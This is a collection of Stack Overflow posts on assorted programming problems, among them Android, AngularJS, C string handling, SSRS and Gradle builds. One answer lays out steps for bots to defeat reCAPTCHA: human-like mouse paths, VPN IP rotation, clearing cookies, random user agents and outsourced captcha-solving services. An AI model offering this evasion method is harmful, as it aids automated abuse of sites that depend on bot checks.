27938976	0	 <p>Upper casting is only allowed along upwards the hierarchy. <code>Button</code> never lies in the hierarchy of <code>LinearLayout</code>. So, you can't.</p> <pre><code>java.lang.Object ↳ android.view.View ↳ android.widget.TextView ↳ android.widget.Button </code></pre>
27711838	0	 <p>The answer to my question, which is not evident here, is that I had an extra closing div in my first tab. It was closing out the ng-if and then there was broken mark-up.</p> <p>My code looked like this:</p> <pre><code>&lt;div ng-if="tab[0].active"&gt; &lt;div&gt; Content 1, true by default. Hides and shows as nav is toggled. &lt;/div&gt; **&lt;/div&gt;** &lt;/div&gt; &lt;div ng-if="tab[1].active"&gt; Content 2, false by default. Never shows as nav is toggled. &lt;/div&gt; </code></pre> <p>The ng-if was not closing at the right spot - so despite the $scope updating, the html was broken. So. annoying.</p>
6812145	0	 <pre><code>- (MKAnnotationView *)mapView:(MKMapView *)mapView viewForAnnotation:(id )annotation { //Some code here pinView.rightCalloutAccessoryView = [UIButton buttonWithType:UIButtonTypeDetailDisclosure]; return pinView; } </code></pre> <p>And make use of the following delegate method to get the button action</p> <pre><code>- (void)mapView:(MKMapView *)mapView annotationView:(MKAnnotationView *)view calloutAccessoryControlTapped:(UIControl *)control { // code to show details view } </code></pre>
12076128	0	 <p>I'd say to draw a sequence diagram per thread. </p> <p>Trying to get multiple threads into a single sequence diagram doesn't make a whole lot of sense since events are occurring in parallel, not in sequence.</p>
41053654	0	Cassandra copy works first time but after iteration it creates unnecessary python processes that blocks system memory <p>My code is as below it works first time perfectly but after second or third iteration it creates so many python processes some times it blocks sometimes 4gb of system memory and process cant executing properly.</p> <p>Some time if i try same eclipse console printed output query on terminal it works on some cassandra nodes but not on all. I also tried scala !,!! Methods also.</p> <p>I am not getting this is exact issue of cassandra or Scala process builder ?</p> <pre><code>def copyPartitioncassandra(tbls: tblInfo, srcpth: String, colDelimr: String, NoOfParts: Int): Boolean = { var qry: String = "" for (x &lt;- 0 to NoOfParts - 1) { if (new File(srcpth+ "/part-" + "%05d".format(x)).length() &gt; 0) qry = qry + "COPY " + tbls.keySpaceName + "." + tbls.tblName + "(" + tbls.header + ") FROM '" + srcpth + "/part-" + "%05d".format(x) + "' WITH DELIMITER = '" + colDelimr + "' AND NULL = '' AND MAXATTEMPTS=3;" + "\n" } var qry_file = extraconfig.getString("QUERY_FILE_PATH ") + tbls.tblName + ".txt" createTxtFile(qry, qry_file) qry = "cqlsh " + extraconfig.getString("CASSANDRA_DB_IP") + " -k " + tbls.keySpaceName + " -f " + qry_file println(qry) var test = qry.run() true } </code></pre>
39503004	0	 <p>Apply the min-width property.</p> <p>In Your CSS Style Sheet</p> <pre><code>.Textbox { min-width:100%; } </code></pre> <p>In Your *.aspx</p> <pre><code>&lt;asp:TextBox CssClass="TextboxStyle" placeholder="Enter the Title" runat="server" ID="TextBox1"&gt;&lt;/asp:TextBox&gt; </code></pre> <p>This will update your text box</p>
17655745	0	SSRS Charts displaying time greater than 24 hours <p>I have a time field in seconds (where the seconds is always greater than 86400) and I've been using the following formula to display the time in <strong>HH:mm:ss</strong> in a Tablix: </p> <pre><code>=Floor(Sum(Fields!SecondsField.Value) / 3600) &amp; ":" &amp; Format(DateAdd("s", Sum(Fields!SecondsField.Value), "00:00"), "mm:ss") </code></pre> <p>When I try to plot this field using a bar chart (and using the same formula for the series formula), no data is displayed and was wondering if you had any ideas how to get around this? </p> <p>Ideally this time field will be on the Y-axis.</p>
32121506	0	 <p>Concatenation doesn't cause <code>self.b</code> to be evaluated as a string. You need to explicitly tell Python to coerce it into a string.</p> <p>You could do:</p> <pre><code>return "&lt;A with " + repr(self.b) + " inside&gt;" </code></pre> <p>But using <code>str.format</code> would be better.</p> <pre><code>return "&lt;A with {} inside&gt;".format(self.b) </code></pre> <p>However as jonrsharpe points out that would try to call <code>__str__</code> first (if it exists), in order to make it specifically use <code>__repr__</code> there's this syntax: <code>{!r}</code>.</p> <pre><code>return "&lt;A with {!r} inside&gt;".format(self.b) </code></pre>
33920825	0	 <p>To check if 0:4 elements of array contains zeros, try condition like below:</p> <pre><code>if array[0:4] == [0]*4: </code></pre>
13922995	0	0xC0000005: Access violation writing location <p>I have this function for reading text from files:</p> <pre><code>uintmax_t ResourcePack::getText(const string&amp; file, char** data) { *data = new char[static_cast&lt;size_t&gt;(size) + 1]; fseek(_fileDescriptor, static_cast&lt;long&gt;(begin), SEEK_SET); fread(*data, static_cast&lt;size_t&gt;(size), 1, _fileDescriptor); *data[size] = '\0'; } </code></pre> <p><code>FILE* _fileDescriptor, uintmax_t size</code> and <code>uintmax_t begin</code> are get in other code, not important here, but with correct values.</p> <p><code>fseek</code> and <code>fread</code> lines work fine. Actually, I have the file content in *data, but when the last line is executed, I got the access violation.</p> <p>Why I can write into <code>*data</code> using <code>fread</code>, but not <code>using *data[size] = '\0'</code>?</p>
18014609	0	 <p>Ribbon.Invalidate doesn't mean the ribbon will not show. Invalidate function just tells the ribbon to invalidate and re-initialize the ribbon controls with their default/dynamic properties. </p> <p>I worked with few Add-ins where the clients wanted to hide the ribbon items if users cannot pass the authentication. So in such a case, I used "GetVisible" attribute in all of my Control and then I used this code</p> <pre><code>Sub GetVisible(control As IRibbonControl, ByRef Visible) On Error Resume Next Visible = shouldShowOrNot End Sub </code></pre> <p>shouldShowOrNot is a boolean variable, which I set in Ribbon Load to true if user passes the authentication. See the following image:</p> <p><img src="https://i.stack.imgur.com/hMjch.png" alt="Ribbon with Failed Authentication"></p> <p>Now the above image is a representation of Ribbon in case User has failed the authentication. There might be a better way to do it, but i found it to be the best way so far.</p> <p>Hope this helps, Vikas B</p>
33469525	0	 <p>I think I found the answer. The bcp format spec doesn't work properly! It seems that even for numeric or datetime import fields, you have to specify "SQLCHAR" as the datatype in the .fmt file. Any attempt to use the actual .fmt file generated by "bcp format" is hopeless -- if it gives you SQLINT or SQLDATE lines back, you have to replace those with SQLCHAR for the thing to work, even if the db columns are in fact numeric or date/datetime types.</p> <p>What a crock!</p>
37220168	0	 <p>My Bots are running well against ReCaptcha.</p> <p>Here my Solution.</p> <p>Let your Bot do this Steps:</p> <p>First write a Human Mouse Move Function to move your Mouse like a B-Spline (Ask me for Source Code). This is the most important Point.</p> <p>Also use for better results a VPN like <a href="https://www.purevpn.com" rel="nofollow">https://www.purevpn.com</a></p> <p>For every Recpatcha do these Steps:</p> <ol> <li><p>If you use VPN switch IP first</p></li> <li><p>Clear all Browser Cookies</p></li> <li><p>Clear all Browser Cache</p></li> <li><p>Set one of these Useragents by Random: </p> <p>a. Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)</p> <p>b. Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0</p></li> </ol> <p>5 Move your Mouse with the Human Mouse Move Funktion from a RandomPoint into the I am not a Robot Image every time with different 10x10 Randomrange</p> <ol start="6"> <li><p>Then Click ever with random delay between </p> <p>WM_LBUTTONDOWN</p> <p>and</p> <p>WM_LBUTTONUP</p></li> <li><p>Take Screenshot from Image Captcha</p></li> <li><p>Send Screenshot to </p> <p><a href="http://www.deathbycaptcha.com" rel="nofollow">http://www.deathbycaptcha.com</a></p> <p>or </p> <p><a href="https://2captcha.com" rel="nofollow">https://2captcha.com</a></p></li> </ol> <p>and let they solve.</p> <ol start="9"> <li><p>After receiving click cooridinates from captcha solver use your Human Mouse move Funktion to move and Click Recaptcha Images</p></li> <li><p>Use your Human Mouse Move Funktion to move and Click to the Recaptcha Verify Button</p></li> </ol> <p>In 75% all trys Recaptcha will solved</p> <p>Chears Google</p> <p>Tom</p>
23886400	0	Where to find NSOrderedSet (Objective C) source code ? Reading elements from SET in the order of insertion in C++? <p>Is there any possibility of reading elements from <code>SET</code> (in C++ i,e std::set) on the basis of order of insertion of those elements into SET (in C++)? I could have used Vector or list for reading in the order of insertion. But I want insertion, searching etc to be done in O(log(n)). Using SET is requirement, I can't change that.</p> <p>Usage of extra memory for storing element id or insertion sequence number etc will require a lot of memory. Solutions of this kind are not helpful to me</p> <p>I read some where that in Objective-C, NSOrderedSet give this kind of functionality ( I do not know Objective-C, NSOrderedSet ). Can the similar functionality be achieved in C++?</p> <p>Edit1: Is <code>NSOrderedSet</code> source code available? If available, where Can I find?</p>
39432110	0	Stack Smashing while using strcpy and strcat <p>I've been trying to debug this for a while, still can't figure out why this causes a stack smashing error (I think the error code is 6, or abort. Essentially this function takes a directory, opens a file and then puts that file into a function so it can use the file, and then outputs the number of times it goes through the function.</p> <pre><code>int map(char* dir, void* results, size_t size, int (*act)(FILE* f, void* res, char* fn)) { printf("%s\n", dir); char copyDirectory[strlen(dir)+1]; //adds the slash strcpy(copyDirectory, dir); strcat(copyDirectory, "/"); //before the psuedocode, get all the files in the directory int numFiles = nfiles(copyDirectory); DIR* directory = opendir(copyDirectory); //if there aren't any files, then we exit if(numFiles == 0) { closedir(directory); return -1; } //reads the file from the directory struct dirent* readFile = readdir(directory); int output = 0; while(readFile!=NULL) { if(readFile-&gt;d_type==DT_REG) { //step 2: obtain filepath char* fileName = readFile-&gt;d_name; int filePathLength = strlen(dir) + strlen(fileName) + 1;//add one for the slash char filePath[filePathLength]; memset(filePath, 0, filePathLength); //allocat ememory for file path strcpy(filePath, strcat(dir, fileName)); //step 3: open file FILE* file = fopen(filePath, "r"); //if the file is unreachable, exit if(file==NULL) { closedir(directory); return -1; } //step 4: perform some action and store result strcpy(dir, copyDirectory); act(file, results, fileName); //step 5: close file fclose(file); //to go through loop: increment the readFile ++output; } readFile = readdir(directory); } closedir(directory); return output; } </code></pre> <p>Map function with the example.</p> <pre><code>int map(char* dir, void* results, size_t size, int (*act)(FILE* f, void* res, char* fn)) { char* copyDirectory = strdup(dir); DIR* directory = opendir(dir); int output = 0; struct dirent* readFile = readdir(directory); while(readFile!=NULL) { if(readFile-&gt;d_type==DT_REG) { //step 2: obtain filepath char* fileName = readFile-&gt;d_name; int filePathLength = strlen(dir) + strlen(fileName) +2;//add one for the slash char filePath[filePathLength+1]; memset(filePath, 0, filePathLength); //allocat ememory for file path strcpy(filePath, strcat(dir, fileName)); //step 3: open file FILE* file = fopen(filePath, "r"); //if the file is unreachable, exit if(file==NULL) { closedir(directory); return -1; } //step 4: perform some action and store result strcpy(dir, copyDirectory); act(file, results, fileName); //step 5: close file fclose(file); //to go through loop: increment the readFile ++output; } readFile = readdir(directory); } closedir(directory); return output; } //Sample Map function action: Print file contents to stdout and returns the number bytes in the file. int cat(FILE* f, void* res, char* filename) { char c; int n = 0; printf("%s\n", filename); while((c = fgetc(f)) != EOF) { printf("%c", c); n++; } printf("\n"); return n; } int main(int argc, char const *argv[]) { char directory[]= "../rsrc/ana_light/"; size_t size = 100; void* results[500]; int mapCat = map(directory, results, size, cat); printf("The value of map is %d.\n", mapCat); return EXIT_SUCCESS; } </code></pre> <p>Where this fails is after it has executed and it prints to the output. The function should print out the contents of the files you have. The directory list needs to have a "/" at the end. Currently it prints the file contents and exits with the value of how many files it read, but it drops off after it exits with the stack smashing error. </p> <p>EDIT1: Edited the code to reflect the changes I've made.</p> <p>EDIT2: Done according to the MCVE standards, I think? Should run if I'm not mistaken. </p>
9277156	0	 <p>You can do that! Just create some non-queried parameters for the report and set the value of each textbox to:</p> <pre><code>=Parameters!ParameterName.Value </code></pre> <p>...where ParameterName is the actual name of the parameter, as you defined for the report.</p>
34586214	0	Load Earlier Messages in listview like whats app <p>When i Click load earlier messages the earlier messages get loaded from database but list view scrolls to the top which is not be done , the message should only loaded at the top of list view without its scroll.</p> <p>Here is my code for main Activity</p> <pre><code>protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); setContentView(R.layout.private_group_chat); Intent i = getIntent(); btnLoadMore = new Button(this); btnLoadMore.setText("Load Earlier Messages"); lsvChat = (ListView) findViewById(R.id.lv_messsages); lsvChat.addHeaderView(btnLoadMore); chatModel = new ArrayList&lt;ChatModel&gt;(); db = new Database3(getApplicationContext()); chatModel = db.getSelectedIncidentDetails(getApplicationContext(), groupId, count); chatAdapter = new ChatAdapterGroup(getApplicationContext(), chatModel); lsvChat.setAdapter(chatAdapter); discoverModel = new ArrayList&lt;DiscoverModel&gt;(); dm = new DiscoverModel(); } </code></pre> <p>here is my base adapter......</p> <pre><code>public class ChatAdapterGroup extends BaseAdapter { private Context context; private LayoutInflater inflater; int count = 0; private ArrayList&lt;ChatModel&gt; list; public ChatAdapterGroup(Context context, ArrayList&lt;ChatModel&gt; list) { this.context = context; this.list = list; inflater = (LayoutInflater) context .getSystemService(context.LAYOUT_INFLATER_SERVICE); } @Override public int getCount() { return list.size(); } @Override public Object getItem(int position) { return list.get(position); } @Override public long getItemId(int position) { return position; } private class ViewHolder { TextView txt_left; TextView txt_right; TextView tv_fromName; RelativeLayout rl_left; RelativeLayout rl_right; } @Override public View getView(final int position, View v, ViewGroup arg2) { final ViewHolder holder; if (v == null) { holder = new ViewHolder(); v = inflater.inflate(R.layout.chat_adapter, null); holder.txt_left = (TextView) v.findViewById(R.id.txt_left); holder.txt_right = (TextView) v.findViewById(R.id.txt_right); holder.tv_fromName = (TextView) v.findViewById(R.id.tv_fromName); holder.rl_left = (RelativeLayout) v.findViewById(R.id.rl_left); holder.rl_right = (RelativeLayout) v.findViewById(R.id.rl_right); v.setTag(holder); } else { holder = (ViewHolder) v.getTag(); } if (list.get(position) != null) { if (list.get(position).getGroup_cordinate() .equalsIgnoreCase("left")) { holder.txt_left.setText("" + list.get(position).getGroup_messages_recive()); holder.tv_fromName.setText("" + list.get(position).getFrom_name_recive()); holder.txt_left.setTextColor(Color.parseColor("#000000")); holder.rl_right.setVisibility(View.GONE); holder.rl_left.setVisibility(View.VISIBLE); } else { holder.txt_right.setText("" + list.get(position).getGroup_messages_recive()); holder.rl_left.setVisibility(View.GONE); holder.rl_right.setVisibility(View.VISIBLE); } } v.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub // notifyDataSetChanged(); } }); return v; } } </code></pre> <p>and the xml coding for List view .............</p> <pre><code>&lt;ListView android:id="@+id/lv_messsages" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_above="@+id/ll_send" android:layout_below="@+id/rl_header" android:divider="@null" android:stackFromBottom="true" android:transcriptMode="alwaysScroll" /&gt; </code></pre>
16356100	0	 <p>Go check these styles:</p> <pre class="lang-css prettyprint-override"><code>.nivo-controlNav a h1 { color: #E4007B; font: bold 15px/20px Arial; text-transform: none; } </code></pre> <p>and add these after:</p> <pre class="lang-css prettyprint-override"><code>.nivo-controlNav a.active h1 { color: #000; } </code></pre> <p>This should work.</p>
452333	0	How to maintain widgets aspect ratio in Qt? <p>How is it possible to maintain widgets aspect ratio in Qt and what about centering the widget?</p>
28190843	0	 <p>This method is called when you update your database version. It drops the existing tables and creates it again when onCreate method is called again. </p>
10536480	0	 <p>This is the Delegate Design Pattern. Basically the UITableView instance in your UIViewController class asks your view controller to provide a UITableViewCell for the specified index. So let's say you have an array of songs in your view controller and you want them to appear in the table view. Then you would create a new UITableViewCell, set it's textLabel.text to the title of the song at the specified index (indexPath.row) and return the cell. Because you are supposed to reuse UITableViewCells for performance reasons, I recommend reading the Table View Programming Guide in the documentation, especially <a href="http://developer.apple.com/library/ios/#documentation/UserExperience/Conceptual/TableView_iPhone/CreateConfigureTableView/CreateConfigureTableView.html#//apple_ref/doc/uid/TP40007451-CH6-SW11" rel="nofollow">Populating a Table View</a></p>
40473842	1	get_sample_data from Matplotlib when inserting an image in a plot <p>I'm working on a project and in my code (using python) I want to insert an image in one of the plots I create. I found out that I could insert an image by using the <strong>get_sample_data</strong> from Matplotlib but that the file(image) has to be in a specific directory (\matplotlib\mpl-data\sample_data), the problem is that this project will have to be run on other computers, so I'd like to have the images of the plot in the same directory as I have the code (so to say, \documents\bs). I found that the answer is rc, but I'm not an expert in programming and I'm not so sure how that works...So I'd like to know if someone knows how I could solve my problem, or suggest me some references of where to look, as I could not find so much information about it.</p> <p>Thanks is advanced!</p> <p>As someone asked me, I attach the part of the code:</p> <pre><code>wave.plot(xstring,ystring,color='brown',linewidth=2.0) xy = (0.5, 0.7) left = get_sample_data("./lside_hand.png", asfileobj=False) right = get_sample_data("./rside_hand.png", asfileobj=False) arr_l=read_png(left) arr_r=read_png(right) imageboxl = OffsetImage(arr_l, zoom=0.1) imageboxr = OffsetImage(arr_r, zoom=0.1) ab_l = AnnotationBbox(imageboxl, xy,xybox=(-107., 0)) ab_r = AnnotationBbox(imageboxr, xy,xybox=(107., 0)) wave.add_artist(ab_l) wave.add_artist(ab_r) </code></pre> <p>with wave being a plot already defined and that has no problems, and xstring and ystring also some data in an array. I have no problem with any of this things nor do I get an error. The problem I have is with the function get_sample_data, that whenever I save my file in another directory that is not sample_data gives me an error (the one saying that could not find the file).</p> <p>To be more clear, now I put the files in that directory, and works, but if I send it to someone else, he/she would have to include those files in that directory, and that's a pitty... The plot I've created is:</p> <p><a href="https://i.stack.imgur.com/VzZFU.png" rel="nofollow noreferrer">Plot I created</a></p>
35336884	0	 <p>Something like <a href="http://stackoverflow.com/a/34468622/696034">this</a> except you you replace your column names and join parameter with user_id.</p>
26991729	0	 <p>Below Code is for creating file and saving text in it .</p> <pre><code>FileOutputStream fout = new FileOutputStream("Hello.txt",true); PrintWriter pr = new PrintWriter(fout,true); pr.println("hello"); </code></pre>
26511016	0	relative width and height in storyboard? <p>I've been developing an ios app and the layout is driving me absolutely mad. So i have a CollectionViewCell, in this collectionviewcell i have 2 UIViews. What i want to know is how can i set width and height of my views relative to their parent container. </p> <p>I've already attempted this </p> <pre><code>NSLayoutConstraint *c = [NSLayoutConstraint constraintWithItem:bottomView attribute:NSLayoutAttributeHeight relatedBy:NSLayoutRelationEqual toItem:topView multiplier:1.5 constant:0]; </code></pre> <p>from the other stack post but it does nothing.</p> <p>Ive tried to set the height of one of the containers programaticaly but that also doesnt work. Here is the code that sets the layout of the collectionviewCell which is the super view and works.</p> <pre><code> CGFloat screenWidth = screenRect.size.width; CGFloat screenHeight = screenRect.size.height; CGFloat marginWidth = 10.f; CGFloat itemWidth = (screenWidth / 2.0f) - (1.5f * marginWidth); [self layout].itemSize = CGSizeMake(itemWidth, itemWidth * 1.3f); </code></pre> <p>Ive tried to set the height of the view relative to the collectionviewcell with the code below</p> <pre><code> CGFloat height = (((itemWidth * 1.3f)/3)*2); CGRect imageFrame = self.imagePanel.frame; imageFrame.size.width = (screenWidth / 2.0f); imageFrame.size.height = height; [self.imagePanel setFrame:imageFrame]; </code></pre> <p>But again this doesnt work :( How can i achieve this? Is there any way to do this through the storyboard?</p>
22709424	0	 <p>Try to use:</p> <pre><code>jQuery(document).ready(function(){ var target = jQuery('.product-image'); target.mouseenter(function(){ jQuery(this).find('.popUpPrice button').show(); }); }); </code></pre> <p>Also <code>target</code> is already a jQuery object. You can just use <code>target.mouseenter</code> instead of <code>jQuery(target).mouseenter</code></p>
6041235	0	What does this format do in CSS: p[class|=abc]? <p>What does this format do in CSS:</p> <pre><code>p[class|=abc] </code></pre> <p>and</p> <pre><code>#pTag a[href^="https://"] </code></pre> <p>I'm not able to search for it as I don't know the exact terminology for this.</p> <p>Any help with some links to study on these square brackets thing would be greatly appreciated.</p> <p>Thanks in advance.</p>
22649117	0	Rails: where to put and how to call scheduled clean-up methods <p>I've written a couple of clean-up methods for a Rails app and I'm trying to figure out where the best place to store them is:</p> <pre><code>def flush @documents = Document.ready_to_flush @documents.each do |document| document.update_attributes(generated: false, high_res: nil, low_res: nil) server_url = "#{App::Application.config.server}/tasks/documents/#{document.id}/flush?token=#{App::Application.config.server_token}" response = HTTParty.get(server_url) if response.ok? &amp;&amp; task_id.present? render json: "Assets PDFs for #{document.id}." else render json: "Assets for #{document.id} not flushed." end end end def clear_temporary_directory FileUtils.rm_rf(Dir.glob("#{::Rails.root}/public/temporary/*")) end </code></pre> <p>I'm calling them from <code>schedule.rb</code> (with the <a href="https://github.com/javan/whenever" rel="nofollow">whenever</a> gem) like so:</p> <pre><code>every 1.day, at: '12:17 am' do runner 'clear_temporary_directory', environment: 'production' end every 1.day, at: '12:20 am' do runner 'flush', environment: 'production' end </code></pre> <p>Just not really sure where the best place to store those top methods would be. Are there best practices for it?</p>
28219500	0	 <p>I was facing the same problem. Worked for me when I removed "tessdata" from the path.</p> <pre><code>Before (fail): path = "/mnt/sdcard/tesseract/tessdata"; After (success): path = "/mnt/sdcard/tesseract/"; </code></pre> <p>Then, baseApi.init(path, "eng") worked with no exceptions.</p> <p>Of course, tessdata folder should be in the path with the desired.traineddata file.</p>
8169640	0	How does an entity get an ID before a transaction is committed in JPA/Play? <p><a href="http://stackoverflow.com/questions/8169279/how-can-i-commit-a-play-jpa-transaction-manually">See this question</a>.</p> <p>It turns out that even without committing the transaction manually, before the TX is committed, the person has an ID after calling the save() method.</p> <p>Isn't the database responsible of assinging the ID field? If so, how can the ID field be filled before commit? Does any communication with the DB occur before the TX is committed?</p>
11578758	0	 <p>Is this the <code>glutIdleFunc</code>, or the one called when you <code>glutPostRedisplay</code>?</p> <p>In either case, you need to first setup a <a href="http://www.opengl.org/resources/libraries/glut/spec3/node49.html" rel="nofollow"><code>glutKeyboardFunc</code></a>, in which you detect whether a certain key is pressed or not.</p> <p>In the case you update the screen only on certain events:</p> <pre><code>... inside the keyboard function if (key_pressed == THE_KEY_YOU_WANT) glutPostRedisplay(); </code></pre> <p>In the case you are using <code>display</code> as the idle function, you can do:</p> <pre><code>global: bool go_next = false; ... inside the keyboard function if (key_pressed == THE_KEY_YOU_WANT) go_next = true; ... inside display: void display(void) { if (go_next) { go_next = false; glLoadIdentity(); glColor3f(1.0f, 0.0f, 0.0f); glPushMatrix(); ... etc glPopMatrix(); } glutSwapBuffers(); } </code></pre> <hr> <p>Side note: It is best to keep the logic and rendering separate. So perhaps a code like this is best:</p> <pre><code>int triangles_to_draw = 0; ... inside the keyboard function if (key_pressed == THE_KEY_YOU_WANT) process_event_next_triangle(); void process_event_next_triangle() { if (triangles_to_draw &lt; maximum) ++triangles_to_draw; } void display(void) { go_next = false; glLoadIdentity(); glColor3f(1.0f, 0.0f, 0.0f); glPushMatrix(); glTranslatef(20.0f, 20.0f, -40.f); glRotatef(180.f, 0.0, 0.0, 1.0); glBegin(GL_TRIANGLES); for (int i = 0; i &lt; 3*triangles_to_draw; i += 3) { glVertex3f(pts[tri[i]], (pts[ptsLength/2 + tri[i]] - maximum) * -1, 0); glVertex3f(pts[tri[i+1]], (pts[ptsLength/2 + tri[i+1]] - maximum) * -1, 0); glVertex3f(pts[tri[i+2]], (pts[ptsLength/2 + tri[i+2]] - maximum) * -1, 0); } glEnd(); glPopMatrix(); glutSwapBuffers(); } </code></pre> <p>Note that this way, you can make the <code>process_event_next_triangle</code> as complicated as you want without affecting the <code>display</code> function. This makes life much easier when you have many keys doing different stuff.</p>
32546748	0	gradle compile UNEXPECTED TOP-LEVEL EXCEPTION <p>My working build.graddle:</p> <pre><code> apply plugin: 'com.android.application' android { compileSdkVersion 23 buildToolsVersion "19.1.0" defaultConfig { applicationId "com.squiri.squiri" minSdkVersion 15 targetSdkVersion 23 versionCode 1 versionName "1.0" //multiDexEnabled = true } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } packagingOptions { exclude 'META-INF/DEPENDENCIES.txt' exclude 'META-INF/LICENSE.txt' exclude 'META-INF/NOTICE.txt' exclude 'META-INF/NOTICE' exclude 'META-INF/LICENSE' exclude 'META-INF/DEPENDENCIES' exclude 'META-INF/notice.txt' exclude 'META-INF/license.txt' exclude 'META-INF/dependencies.txt' exclude 'META-INF/LGPL2.1' } } dependencies { compile fileTree(include: ['*.jar'], dir: 'libs') compile 'com.google.android.gms:play-services:7.8.0' compile 'com.android.support:support-v4:23.0.0' compile 'com.android.support:appcompat-v7:23.0.0' compile 'com.vk:androidsdk:+' compile 'com.facebook.android:facebook-android-sdk:4.0.0' } </code></pre> <p>If I add to this file next lines:</p> <pre><code>repositories { mavenCentral() maven { url 'http://maven.stickerpipe.com/artifactory/stickerfactory' } } ... dependenies{ ... compile('vc908.stickers:stickerfactory:+') { transitive = true; } } </code></pre> <p>I getting next error:</p> <pre><code> Information:Gradle tasks [:app:assembleDebug] :app:preBuild UP-TO-DATE :app:preDebugBuild UP-TO-DATE :app:checkDebugManifest :app:preReleaseBuild UP-TO-DATE :app:prepareComAndroidSupportAppcompatV72300Library UP-TO-DATE :app:prepareComAndroidSupportDesign2221Library UP-TO-DATE :app:prepareComAndroidSupportMediarouterV72220Library UP-TO-DATE :app:prepareComAndroidSupportRecyclerviewV72221Library UP-TO-DATE :app:prepareComAndroidSupportSupportV42300Library UP-TO-DATE :app:prepareComAnjlabAndroidIabV3Library1026Library UP-TO-DATE :app:prepareComFacebookAndroidFacebookAndroidSdk400Library UP-TO-DATE :app:prepareComGithubCastorflexSmoothprogressbarLibrary110Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServices780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesAds780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesAnalytics780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesAppindexing780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesAppinvite780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesAppstate780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesBase780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesCast780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesDrive780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesFitness780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesGames780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesGcm780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesIdentity780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesLocation780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesMaps780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesNearby780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesPanorama780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesPlus780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesSafetynet780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesVision780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesWallet780Library UP-TO-DATE :app:prepareComGoogleAndroidGmsPlayServicesWearable780Library UP-TO-DATE :app:prepareComVkAndroidsdk1510Library UP-TO-DATE :app:prepareVc908StickersStickerfactory053Library UP-TO-DATE :app:prepareDebugDependencies :app:compileDebugAidl UP-TO-DATE :app:compileDebugRenderscript UP-TO-DATE :app:generateDebugBuildConfig UP-TO-DATE :app:generateDebugAssets UP-TO-DATE :app:mergeDebugAssets UP-TO-DATE :app:generateDebugResValues UP-TO-DATE :app:generateDebugResources UP-TO-DATE :app:mergeDebugResources UP-TO-DATE :app:processDebugManifest UP-TO-DATE :app:processDebugResources UP-TO-DATE :app:generateDebugSources UP-TO-DATE :app:processDebugJavaRes UP-TO-DATE :app:compileDebugJavaWithJavac UP-TO-DATE :app:compileDebugNdk UP-TO-DATE :app:compileDebugSources UP-TO-DATE :app:preDexDebug UP-TO-DATE :app:dexDebug UNEXPECTED TOP-LEVEL EXCEPTION: java.lang.IllegalArgumentException: method ID not in [0, 0xffff]: 65536 at com.android.dx.merge.DexMerger$6.updateIndex(DexMerger.java:501) at com.android.dx.merge.DexMerger$IdMerger.mergeSorted(DexMerger.java:276) at com.android.dx.merge.DexMerger.mergeMethodIds(DexMerger.java:490) at com.android.dx.merge.DexMerger.mergeDexes(DexMerger.java:167) at com.android.dx.merge.DexMerger.merge(DexMerger.java:188) at com.android.dx.command.dexer.Main.mergeLibraryDexBuffers(Main.java:439) at com.android.dx.command.dexer.Main.runMonoDex(Main.java:287) at com.android.dx.command.dexer.Main.run(Main.java:230) at com.android.dx.command.dexer.Main.main(Main.java:199) at com.android.dx.command.Main.main(Main.java:103) Error:Execution failed for task ':app:dexDebug'. &gt; com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException: Process 'command 'C:\Program Files\Java\jdk1.8.0\bin\java.exe'' finished with non-zero exit value 2 Information:BUILD FAILED Information:Total time: 33.864 secs Information:1 error Information:0 warnings Information:See complete output in console </code></pre> <p>Why??? Notation: in other project (quickblox sample chat) on my PC working all OK!</p> <p>My not working build.gradle:</p> <pre><code> apply plugin: 'com.android.application' repositories { mavenCentral() maven { url 'http://maven.stickerpipe.com/artifactory/stickerfactory' } } android { compileSdkVersion 23 buildToolsVersion "19.1.0" defaultConfig { applicationId "com.squiri.squiri" minSdkVersion 15 targetSdkVersion 23 versionCode 1 versionName "1.0" //multiDexEnabled = true } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } packagingOptions { exclude 'META-INF/DEPENDENCIES.txt' exclude 'META-INF/LICENSE.txt' exclude 'META-INF/NOTICE.txt' exclude 'META-INF/NOTICE' exclude 'META-INF/LICENSE' exclude 'META-INF/DEPENDENCIES' exclude 'META-INF/notice.txt' exclude 'META-INF/license.txt' exclude 'META-INF/dependencies.txt' exclude 'META-INF/LGPL2.1' } } dependencies { compile fileTree(include: ['*.jar'], dir: 'libs') compile 'com.google.android.gms:play-services:7.8.0' compile 'com.android.support:support-v4:23.0.0' compile 